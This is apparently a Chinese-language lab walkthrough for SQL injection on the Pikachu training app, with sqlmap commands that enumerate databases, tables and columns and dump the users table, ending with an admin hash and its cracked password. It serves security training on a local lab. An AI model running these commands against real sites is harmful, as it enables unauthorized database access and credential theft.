題目鏈接:http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php
題目來源:pikachu-->SQL-inject-->數字型注入(post)
任意提交數據,使用bp抓包得到post方式提交的參數為 id=1&submit=%E6%9F%A5%E8%AF%A2
使用sqlmap跑post方式時的格式:python2 sqlmap.py -u "<url>" --data="<post提交的參數>" -<參數>
使用sqlmap跑數據庫
python2 sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" - f --dbms mysql --dbs --batch
#--dbms 默認情況下會探測web應用后端的數據庫是什么;該步驟--dbms mysql 制定了數據庫類型為myslq數據庫
#--dbs 當用戶有權讀取時,列出所有的數據庫
#--batch 該參數使用后不需要用戶輸入,將會使用sqlmap給的默認提示走下去
可以得到三個數據庫的名稱:information_schema,pikachu,test
查詢數據庫pikachu下面的表
python2 sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" - f --dbms mysql -D pikachu --tables --batch
# -D pikachu 指定數據庫pikachu
#--tables 當有權限讀取pikachu數據庫中的表tables的時候,讀取出表
可以得到pikachu數據庫下的表:httpinfo,member,message,users,xssblind
獲取表users中的列
python2 sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" - f --dbms mysql -D pikachu -T users --columns --batch
#-T users 指定表名users
#--columns 當有權限讀取表users中的列的時候讀取表users中的列
就可以得到users表中的列名:level,id,password,username
獲取列username和password中的字段內容
python2 sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" - f --dbms mysql -D pikachu -T users -C username,password --dump --batch
#-C username,password 指定讀取列username和password中的字段內容
#--dump 拋出前面指定內容
可以得到用戶名admin,及其對應的密碼的MD5:e10adc3949ba59abbe56e057f20f883e,以及解碼后的明文:123456